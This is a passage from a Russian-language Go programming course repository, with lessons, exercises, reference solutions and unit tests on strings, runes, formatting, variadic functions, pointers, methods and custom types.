**массив** байт, ее можно обойти с помощью цикла `for`: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | func main() { 12 | s := "hello" 13 | for i := 0; i < len(s); i++ { 14 | fmt.Println(string(s[i])) 15 | } 16 | 17 | } 18 | ``` 19 | 20 | Вывод: 21 | 22 | ```text 23 | h 24 | e 25 | l 26 | l 27 | o 28 | ``` 29 | 30 | Таким способом можно обойти только строки, состоящие из ASCII символов. Если строка содержит мультибайтовые символы, вывод будет некорректен: 31 | 32 | ```go 33 | package main 34 | 35 | import ( 36 | "fmt" 37 | ) 38 | 39 | func main() { 40 | s := "привет" 41 | for i := 0; i < len(s); i++ { 42 | fmt.Println(string(s[i])) 43 | } 44 | 45 | } 46 | ``` 47 | 48 | Вывод проверьте сами в [Go Playground](https://play.golang.org/p/-G3ygH0rTIv) 49 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Обход строки 3 | tips: [] 4 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // shiftASCII shifts each byte in the string s and if there is an overflow of ASCII it takes a new code by module of 256. 6 | func shiftASCII(s string, step int) string { 7 | if step == 0 { 8 | return s 9 | } 10 | 11 | shifted := make([]byte, len(s)) 12 | for i := 0; i < len(s); i++ { 13 | shifted[i] = byte(int(s[i]) + step) 14 | } 15 | 16 | return string(shifted) 17 | } 18 | 19 | // END 20 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestShiftASCII(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal("abc", shiftASCII("abc", 0)) 11 | a.Equal("bcd2", shiftASCII("abc1", 1)) 12 | a.Equal("abc1", shiftASCII("bcd2", -1)) 13 | a.Equal("rs", shiftASCII("hi", 10)) 14 | a.Equal("abc", shiftASCII("abc", 256)) 15 | a.Equal("bcd", shiftASCII("abc", -511)) 16 | } 17 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `isASCII(s string) bool`, которая возвращает `true`, если строка `s` состоит только из ASCII символов. 3 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В современном мире невозможно работать только со строками, состоящими исключительно из ASCII символов. Везде используются нестандартные знаки, языки отличные от латиницы и эмодзи. Для работы с такими Юникод символами в Go представлен тип данных `rune`: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | func main() { 12 | emoji := []rune("привет😀") 13 | 14 | for i := 0; i < len(emoji); i++ { 15 | fmt.Println(emoji[i], string(emoji[i])) // выводим код символа и его строковое представление 16 | } 17 | } 18 | ``` 19 | 20 | Вывод: 21 | 22 | ```text 23 | 1087 п 24 | 1088 р 25 | 1080 и 26 | 1074 в 27 | 1077 е 28 | 1090 т 29 | 128512 😀 30 | ``` 31 | 32 | `rune` — это алиас к `int32`. Как и байты, руны были созданы для отличия от встроенного типа данных. Каждая руна представляет собой код символа стандарта Юникод. Строка свободно преобразуется в `[]byte` и `[]rune`, но эти 2 типа данных не конвертируются между собой напрямую: 33 | 34 | ```go 35 | s := "hey😉" 36 | 37 | rs := []rune([]byte(s)) // cannot convert ([]byte)(s) (type []byte) to type []rune 38 | 39 | bs := []byte([]rune(s)]) // cannot convert ([]rune)(s) (type []rune) to type []byte 40 | ``` 41 | 42 | В Go присутствует синтаксический сахар при обходе строки. Если использовать конструкцию `for range`, строка автоматически будет преобразована в `[]rune`, то есть обход будет по Юникод символам: 43 | 44 | ```go 45 | package main 46 | 47 | import ( 48 | "fmt" 49 | ) 50 | 51 | func main() { 52 | emoji := []rune("cool😀") 53 | 54 | for _, ch := range emoji { 55 | fmt.Println(ch, string(ch)) // выводим код символа и его строковое представление 56 | } 57 | } 58 | ``` 59 | 60 | Вывод: 61 | 62 | ```text 63 | 99 c 64 | 111 o 65 | 111 o 66 | 108 l 67 | 128512 😀 68 | ``` 69 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Руны 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Rune 6 | literals](https://golang.org/ref/spec#Rune_literals) 7 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "unicode" 4 | 5 | // BEGIN 6 | 7 | // isASCII checks whether the string s contains only ASCII chars. 8 | func isASCII(s string) bool { 9 | for _, r := range s { 10 | if r > unicode.MaxASCII { 11 | return false 12 | } 13 | } 14 | 15 | return true 16 | } 17 | 18 | // END 19 | -------------------------------------------------------------------------------- /modules/30-strings/20-strings-runes/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestIsASCII(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal(true, isASCII(" abc1")) 11 | a.Equal(false, isASCII("хай")) 12 | a.Equal(false, isASCII("hello \U0001F970")) 13 | } 14 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | В пакете unicode есть [функция `unicode.Is(unicode.Latin, rune)`](https://pkg.go.dev/unicode#Is), которая проверяет, что руна является латинским символом или нет. 2 | 3 | Реализуйте функцию `latinLetters(s string) string`, которая возвращает только латинские символы из строки `s`. Например: 4 | 5 | ```go 6 | latinLetters("привет world!") // "world" 7 | ``` 8 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Для работы со строками в Go существует стандартный пакет `strings`, который содержит основные функции. С некоторыми мы уже встречались в первом модуле (например `strings.ReplaceAll`). Теперь рассмотрим список самых часто встречающихся функций: 3 | 4 | ```go 5 | import "strings" 6 | 7 | // проверяет наличие подстроки в строке 8 | strings.Contains("hello", "h") // true 9 | 10 | // разбивает строку по Юникод символам или по переданному разделителю 11 | strings.Split("hello", "") // ["h", "e", "l", "l", "o"] 12 | 13 | // склеивает строки из слайса с разделителем 14 | strings.Join([]string{"hello","world!"}, " ") // "hello world!" 15 | 16 | // обрезает начальные и конечные символы строки, содержащиеся во втором аргументе 17 | strings.Trim(" hey !", " ") // "hey !" 18 | ``` 19 | 20 | Очень важная часть пакета `strings` — это *Builder*. Когда необходимо собрать большую строку по каким-то правилам, использование конкатенации — не лучшее решение, потому что каждая операция создает новую строку, что сильно влияет на производительность при большом количестве операций. Такая задача решается с помощью билдера: 21 | 22 | ```go 23 | import "strings" 24 | 25 | sb := &strings.Builder{} 26 | 27 | sb.WriteString("hello") 28 | sb.WriteString(" ") 29 | sb.WriteString("world") 30 | 31 | sb.String() // "hello world" 32 | ``` 33 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Стандартный пакет strings 3 | tips: 4 | - | 5 | [Go standard package — strings](https://pkg.go.dev/strings) 6 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "strings" 5 | "unicode" 6 | ) 7 | 8 | // BEGIN (write your solution here) 9 | func latinLetters(s string) string { 10 | sb := &strings.Builder{} 11 | 12 | for _, r := range s { 13 | if unicode.Is(unicode.Latin, r) { 14 | sb.WriteRune(r) 15 | } 16 | } 17 | 18 | return sb.String() 19 | } 20 | 21 | // END 22 | -------------------------------------------------------------------------------- /modules/30-strings/25-strings-standard-pkg/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestLatinLetters(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal("abc", latinLetters(" abc1")) 11 | a.Equal("", latinLetters(" привет")) 12 | a.Equal("test", latinLetters("11 ! t e s t %)")) 13 | a.Equal("John", latinLetters("John Уолтер")) 14 | a.Equal("word", latinLetters("wo[r]d")) 15 | } 16 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `generateSelfStory(name string, age int, money float64) string`, которая генерирует предложение, подставляя переданные данные в возвращаемую строку. Например: 3 | 4 | ```go 5 | generateSelfStory("Vlad", 25, 10.00000025) // "Hello! My name is Vlad. I'm 25 y.o. And I also have $10.00 in my wallet right now." 6 | ``` 7 | 8 | Шаблон возвращаемой строки: *Hello! My name is [name]. I'm [age] y.o. And I also have $[money with precision 2] in my wallet right now.* 9 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В предыдущих уроках мы использовали пакет `fmt` для вывода переменных или результатов функций: 3 | 4 | ```go 5 | s := "hello world" 6 | 7 | // печатает вывод на следующей строке 8 | fmt.Println(s) // "hello world" 9 | ``` 10 | 11 | Пакет `fmt` так же используется для форматирования строк. Плейсхолдеры разных типов данных в основном не отличаются от других языков: 12 | 13 | ```go 14 | name := "Andy" 15 | 16 | // подставляем строку 17 | fmt.Sprintf("hello %s", name) // "hello Andy" 18 | 19 | // число 20 | fmt.Sprintf("there are %d kittens", 10) // "there are 10 kittens" 21 | 22 | // логический тип 23 | fmt.Sprintf("your story is %t", true) // "your story is true" 24 | ``` 25 | 26 | Так же существуют специализированные плейсхолдеры, которые преобразуют сложные структуры: 27 | 28 | ```go 29 | package main 30 | 31 | import ( 32 | "fmt" 33 | ) 34 | 35 | type Person struct { 36 | Name string 37 | Age int 38 | } 39 | 40 | func main() { 41 | p := Person{Name: "Andy", Age: 18} 42 | 43 | // вывод значений структуры 44 | fmt.Println("simple struct:", p) 45 | 46 | // вывод названий полей и их значений 47 | fmt.Printf("detailed struct: %+v\n", p) 48 | 49 | // вывод названий полей и их значений в виде инициализации 50 | fmt.Printf("Golang struct: %#v\n", p) 51 | } 52 | ``` 53 | 54 | Вывод: 55 | 56 | ```text 57 | simple struct: {Andy 18} 58 | detailed struct: {Name:Andy Age:18} 59 | Golang struct: main.Person{Name:"Andy", Age:18} 60 | ``` 61 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Форматирование строк 3 | tips: 4 | - | 5 | [Go Formatting](https://pkg.go.dev/fmt#hdr-Printing) 6 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "fmt" 4 | 5 | // BEGIN 6 | 7 | // generateSelfStory generates a self story substituting vars. 8 | func generateSelfStory(name string, age int, money float64) string { 9 | return fmt.Sprintf("Hello! My name is %s. I'm %d y.o. And I also have $%.2f in my wallet right now.", name, age, money) 10 | } 11 | 12 | // END 13 | -------------------------------------------------------------------------------- /modules/30-strings/30-strings-fmt/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestGenerateSelfStory(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal("Hello! My name is Vlad. I'm 25 y.o. And I also have $10.00 in my wallet right now.", generateSelfStory("Vlad", 25, 10.00000025)) 11 | } 12 | -------------------------------------------------------------------------------- /modules/30-strings/description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Строки 3 | description: | 4 | В третьем модуле мы разберем как устроены строки, как их обходить. Узнаем, что такое руны и зачем они в Go. Рассмотрим самые распространенные функции для работы со строками. 5 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `MergeNumberLists(numberLists ...[]int) []int`, которая принимает вариативный список слайсов чисел и объединяет их в 1, сохраняя последовательность: 2 | 3 | ```go 4 | MergeNumberLists([]int{1, 2}, []int{3}, []int{4}) // [1, 2, 3, 4] 5 | ``` 6 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Последний аргумент функции может быть вариативным. Функция может иметь максимум один вариативный аргумент и этот аргумент всегда слайс. Чтобы обозначить аргумент вариативным, нужно поставить три точки `...` перед его типом: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | func main() { 12 | // кол-во аргументов может быть любым 13 | PrintNums(1, 2, 3) 14 | } 15 | 16 | func PrintNums(nums ...int) { 17 | for _, n := range nums { 18 | fmt.Println(n) 19 | } 20 | } 21 | ``` 22 | 23 | Также тремя точками можно разбить слайс на элементы при передаче в вариативную функцию. Например, встроенный метод `append(slice []Type, elems ...Type) []Type`, который добавляет последний элемент в слайс, принимает вариативный аргумент `elems ...Type`. Чтобы добавить один слайс в конец другого, нужно разбить второй слайс на элементы путем добавления трех точек `...` после переменной: 24 | 25 | ```go 26 | nums1 := []int{1, 2, 3, 4, 5} 27 | 28 | nums2 := []int{6, 7, 8, 9, 10} 29 | 30 | res := append(nums1, nums2...) // [1 2 3 4 5 6 7 8 9 10] 31 | ``` 32 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Вариативные функции 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Function 6 | types](https://golang.org/ref/spec#Function_types) 7 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // MergeNumberLists merges all the number lists into the single one and returns it. 6 | // It preserves the order of the number list items. 7 | func MergeNumberLists(numberLists ...[]int) []int { 8 | mergedCap := 0 9 | for i := 0; i < len(numberLists); i++ { 10 | mergedCap += len(numberLists[i]) 11 | } 12 | 13 | merged := make([]int, 0, mergedCap) 14 | for _, nl := range numberLists { 15 | merged = append(merged, nl...) 16 | } 17 | 18 | return merged 19 | } 20 | 21 | // END 22 | -------------------------------------------------------------------------------- /modules/40-func/10-variadic-func/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestMergeNumberLists(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal([]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}, MergeNumberLists([]int{1, 2, 3}, []int{4}, []int{5, 6, 7, 8}, []int{9, 10})) 11 | a.Equal([]int{}, MergeNumberLists([]int{})) 12 | a.Equal([]int{}, MergeNumberLists(nil, nil)) 13 | a.Equal([]int{10, 20, 50, 60}, MergeNumberLists([]int{10, 20}, nil, []int{50, 60})) 14 | } 15 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `CopyParent(p *Parent) Parent`, которая создает копию структуры Parent и возвращает ее: 2 | 3 | ```go 4 | type Parent struct { 5 | Name string 6 | Children []Child 7 | } 8 | 9 | type Child struct { 10 | Name string 11 | Age int 12 | } 13 | 14 | cp := CopyParent(nil) // Parent{} 15 | 16 | p := &Parent{ 17 | Name: "Harry", 18 | Children: []Child{ 19 | { 20 | Name: "Andy", 21 | Age: 18, 22 | }, 23 | }, 24 | } 25 | cp := CopyParent(p) 26 | 27 | // при мутациях в копии "cp" 28 | // изначальная структура "p" не изменяется 29 | cp.Children[0] = Child{} 30 | fmt.Println(p.Children) // [{Andy 18}] 31 | ``` 32 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Указатели — очень обширная и непростая тема, выходящая за рамки данного курса. В этом уроке будут рассмотренны только основы передачи указателей на аргументы в функции: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | type User struct { 12 | email string 13 | password string 14 | } 15 | 16 | // при объявлении указываем, 17 | // что переменная должна быть указателем. 18 | // Для этого ставим звездочку * перед типом данных 19 | func fillUserData(u *User, email string, pass string) { 20 | u.email = email 21 | u.password = pass 22 | } 23 | 24 | func main() { 25 | u := User{} 26 | 27 | // передаем указатель с помощью амперсанда 28 | // & перед переменной 29 | fillUserData(&u, "test@test.com", "qwerty") 30 | 31 | fmt.Printf("points on func call %+v\n", u) 32 | // points on func call {email:test@test.com password:qwerty} 33 | 34 | // сразу инициализируем переменную с указателем 35 | up := &User{} 36 | 37 | fillUserData(up, "test@test.com", "qwerty") 38 | 39 | fmt.Printf("points on init %+v\n", up) 40 | // points on init {email:test@test.com password:qwerty} 41 | } 42 | ``` 43 | 44 | Мапы по умолчанию передаются с указателем: 45 | 46 | ```go 47 | package main 48 | 49 | import ( 50 | "fmt" 51 | ) 52 | 53 | func main() { 54 | m := map[string]int{} 55 | 56 | fillMap(m) 57 | 58 | fmt.Println(m) // map[random:1] 59 | } 60 | 61 | func fillMap(m map[string]int) { 62 | m["random"] = 1 63 | } 64 | ``` 65 | 66 | Разработчики, пришедшие из других языков, часто используют фразы "передача по ссылке" или "ссылка на переменную". Строго говоря, в Go нет ссылок, только указатели: 67 | 68 | ```go 69 | package main 70 | 71 | import "fmt" 72 | 73 | func main() { 74 | a := 1 75 | b := &a 76 | c := &b 77 | 78 | fmt.Printf("%p %p %p\n", &a, &b, &c) 79 | // 0xc000018030 0xc00000e028 0xc00000e030 80 | } 81 | ``` 82 | 83 | В этом примере *b* и *c* содержат одинаковые значения — адрес переменной *a*, однако *b* и *c* хранятся в разных адресах. Из-за этого обновление переменной *b* не изменит *c*. Поэтому если кто-то говорит про ссылки в Go, он имеет в виду указатели. 84 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Аргументы с указателем 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Pointer 6 | types](https://golang.org/ref/spec#Pointer_types) 7 | 8 | - | 9 | 10 | [Указатели в Go](https://gobyexample.com/pointers) 11 | 12 | - | 13 | 14 | [Еще об 15 | указателях](https://www.digitalocean.com/community/conceptual-articles/understanding-pointers-in-go) 16 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // Parent is a parent struct. 4 | type Parent struct { 5 | Name string 6 | Children []Child 7 | } 8 | 9 | // Child is a child struct. 10 | type Child struct { 11 | Name string 12 | Age int 13 | } 14 | 15 | // BEGIN 16 | 17 | // CopyParent makes a copy of the Parent struct and returns it. 18 | func CopyParent(p *Parent) Parent { 19 | if p == nil { 20 | return Parent{} 21 | } 22 | 23 | cp := *p 24 | 25 | cp.Children = make([]Child, len(p.Children)) 26 | copy(cp.Children, p.Children) 27 | 28 | return cp 29 | } 30 | 31 | // END 32 | -------------------------------------------------------------------------------- /modules/40-func/15-arg-pointers/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestCopyParent(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | // nil case 12 | cp := CopyParent(nil) 13 | a.Equal(Parent{}, cp) 14 | 15 | // filled struct case 16 | p := &Parent{ 17 | Name: "Harry", 18 | Children: []Child{ 19 | { 20 | Name: "Andy", 21 | Age: 18, 22 | }, 23 | { 24 | Name: "Vasya", 25 | Age: 22, 26 | }, 27 | }, 28 | } 29 | 30 | cp = CopyParent(p) 31 | cp.Children[0] = Child{} 32 | 33 | a.Equal("Harry", cp.Name) 34 | a.Equal("Harry", p.Name) 35 | a.Len(p.Children, 2) 36 | a.Len(cp.Children, 2) 37 | a.Equal([]Child{ 38 | { 39 | Name: "Andy", 40 | Age: 18, 41 | }, 42 | { 43 | Name: "Vasya", 44 | Age: 22, 45 | }, 46 | }, p.Children) 47 | a.Equal([]Child{ 48 | {}, 49 | { 50 | Name: "Vasya", 51 | Age: 22, 52 | }, 53 | }, cp.Children) 54 | } 55 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте методы структуры `Counter`, представляющую собой счётчик, хранящий *неотрицательное целочисленное значение* и позволяющий это значение изменять: 3 | 4 | - метод `Inc(delta int)` должен увеличивать текущее значение на `delta` единиц (на 1 по умолчанию), 5 | - метод `Dec(delta int)` должен уменьшать текущее значение на `delta` единиц. 6 | 7 | ```go 8 | c := Counter{} 9 | c.Inc(0) 10 | c.Inc(0) 11 | c.Inc(40) 12 | c.Value // 42 13 | 14 | c.Dec(0) 15 | c.Dec(30) 16 | c.Value // 11 17 | 18 | c.Dec(100) 19 | c.Value // 0 20 | ``` 21 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go нет классов, но существуют структуры с методами. Метод — это функция с дополнительным аргументом, который указывается в скобках между `func` и названием функции: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | type Dog struct{} 12 | 13 | // сначала объявляется дополнительный аргумент "(d Dog)", а следом идет обычное описание функции 14 | func (d Dog) Bark() { 15 | fmt.Println("woof!") 16 | } 17 | 18 | func main() { 19 | d := Dog{} 20 | d.Bark() // woof! 21 | } 22 | ``` 23 | 24 | В примере выше структура *Dog* передается по значению, то есть копируется. Если изменятся любые свойства внутри метода *Bark*, они останутся неизменными в исходной структуре: 25 | 26 | ```go 27 | package main 28 | 29 | import ( 30 | "fmt" 31 | ) 32 | 33 | type Dog struct { 34 | IsBarked bool 35 | } 36 | 37 | func (d Dog) Bark() { 38 | fmt.Println("woof!") 39 | d.IsBarked = true 40 | } 41 | 42 | func main() { 43 | d := Dog{} 44 | d.Bark() // woof! 45 | 46 | fmt.Println(d.IsBarked) // false 47 | } 48 | ``` 49 | 50 | Если есть необходимость в изменении состояния, структура должна передаваться указателем: 51 | 52 | ```go 53 | package main 54 | 55 | import ( 56 | "fmt" 57 | ) 58 | 59 | type Dog struct { 60 | IsBarked bool 61 | } 62 | 63 | func (d *Dog) Bark() { 64 | fmt.Println("woof!") 65 | d.IsBarked = true 66 | } 67 | 68 | func main() { 69 | d := &Dog{} 70 | d.Bark() // woof! 71 | 72 | fmt.Println(d.IsBarked) // true 73 | } 74 | ``` 75 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Методы структур 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Method 6 | Declarations](https://golang.org/ref/spec#Method_declarations) 7 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | type Counter struct { 4 | Value int 5 | } 6 | 7 | func Max(x, y int) int { 8 | if x < y { 9 | return y 10 | } 11 | return x 12 | } 13 | 14 | // BEGIN 15 | func (c *Counter) Inc(delta int) { 16 | if delta == 0 { 17 | delta = 1 18 | } 19 | c.Value = Max(c.Value+delta, 0) 20 | } 21 | 22 | func (c *Counter) Dec(delta int) { 23 | if delta == 0 { 24 | delta = 1 25 | } 26 | c.Inc(-delta) 27 | } 28 | 29 | // END 30 | -------------------------------------------------------------------------------- /modules/40-func/20-struct-methods/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestIncDec(t *testing.T) { 10 | a := assert.New(t) 11 | 12 | c := Counter{} 13 | c.Inc(0) 14 | c.Inc(0) 15 | c.Inc(40) 16 | a.Equal(c.Value, 42) 17 | c.Dec(0) 18 | c.Dec(30) 19 | a.Equal(c.Value, 11) 20 | c.Dec(100) 21 | // Counter value cannot be negative 22 | a.Equal(c.Value, 0) 23 | } 24 | 25 | func TestCounterIndependence(t *testing.T) { 26 | a := assert.New(t) 27 | 28 | c1 := Counter{} 29 | c2 := Counter{} 30 | 31 | c1.Inc(10) 32 | c2.Inc(20) 33 | 34 | a.Equal(c1.Value, 10) 35 | a.Equal(c2.Value, 20) 36 | } 37 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Представим, что есть структура *Person*, содержащая возраст человека: 3 | 4 | ```go 5 | type Person struct { 6 | Age uint8 7 | } 8 | ``` 9 | 10 | Реализуйте тип `PersonList` (слайс структур *Person*), с методом `(pl PersonList) GetAgePopularity() map[uint8]int`, который возвращает мапу, где ключ — возраст, а значение — кол-во таких возрастов: 11 | 12 | ```go 13 | pl := PersonList{ 14 | {Age: 18}, 15 | {Age: 44}, 16 | {Age: 18}, 17 | } 18 | 19 | pl.GetAgePopularity() // map[18:2 44:1] 20 | ``` 21 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go можно объявить алиас на существующий тип данных для выразительности и абстракции. Например, тип *byte* из модуля "строки" — это алиас *uint8*. Алиас объявляется через ключевое слово `type`: 3 | 4 | ```go 5 | type NumCount int 6 | 7 | func main() { 8 | nc := NumCount(len([]int{1, 2, 3})) 9 | 10 | fmt.Println(nc) // 3 11 | } 12 | ``` 13 | 14 | Алиас можно конвертировать в оригинальный тип и обратно: 15 | 16 | ```go 17 | type errorCode string 18 | 19 | func main() { 20 | ec := errorCode("internal") 21 | 22 | fmt.Println(ec) // internal 23 | 24 | fmt.Println(string(ec)) // internal 25 | } 26 | ``` 27 | 28 | Также у алиасов могут быть методы. Объявление метода происходит так же, как и со структурами: 29 | 30 | ```go 31 | type counter int 32 | 33 | // передается указатель, чтобы можно было изменить состояние счетчика "c" 34 | func (c *counter) inc() { 35 | *c++ 36 | } 37 | 38 | func main() { 39 | c := counter(0) 40 | (&c).inc() // передается указатель на счетчик &c, так как функция "inc()" работает с указателями 41 | (&c).inc() 42 | 43 | fmt.Println(c) // 2 44 | } 45 | ``` 46 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Пользовательские типы и методы 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Type 6 | Declarations](https://golang.org/ref/spec#Type_declarations) 7 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // Person is a struct that keeps info about person's age 4 | type Person struct { 5 | Age uint8 6 | } 7 | 8 | // BEGIN 9 | 10 | // PersonList is a list of persons. 11 | type PersonList []Person 12 | 13 | // GetAgePopularity calculates and returns popularity for each age in the person list. 14 | func (pl PersonList) GetAgePopularity() map[uint8]int { 15 | popularity := make(map[uint8]int) 16 | for _, p := range pl { 17 | popularity[p.Age]++ 18 | } 19 | 20 | return popularity 21 | } 22 | 23 | // END 24 | -------------------------------------------------------------------------------- /modules/40-func/25-custom-types/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestGetAgePopularity(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | a.Equal(map[uint8]int{ 12 | 18: 1, 13 | 44: 1, 14 | 88: 1, 15 | }, PersonList{ 16 | {Age: 18}, 17 | {Age: 44}, 18 | {Age: 88}, 19 | }.GetAgePopularity()) 20 | 21 | a.Equal(map[uint8]int{ 22 | 18: 2, 23 | 33: 2, 24 | 10: 2, 25 | }, PersonList{ 26 | {Age: 18}, 27 | {Age: 33}, 28 | {Age: 10}, 29 | {Age: 18}, 30 | {Age: 10}, 31 | {Age: 33}, 32 | }.GetAgePopularity()) 33 | } 34 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Для выполнения этого задания потребуется функция `json.Unmarshal`, которая декодирует JSON байты в структуру: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "encoding/json" 9 | "fmt" 10 | ) 11 | 12 | type HelloWorld struct { 13 | Hello string 14 | } 15 | 16 | func main() { 17 | 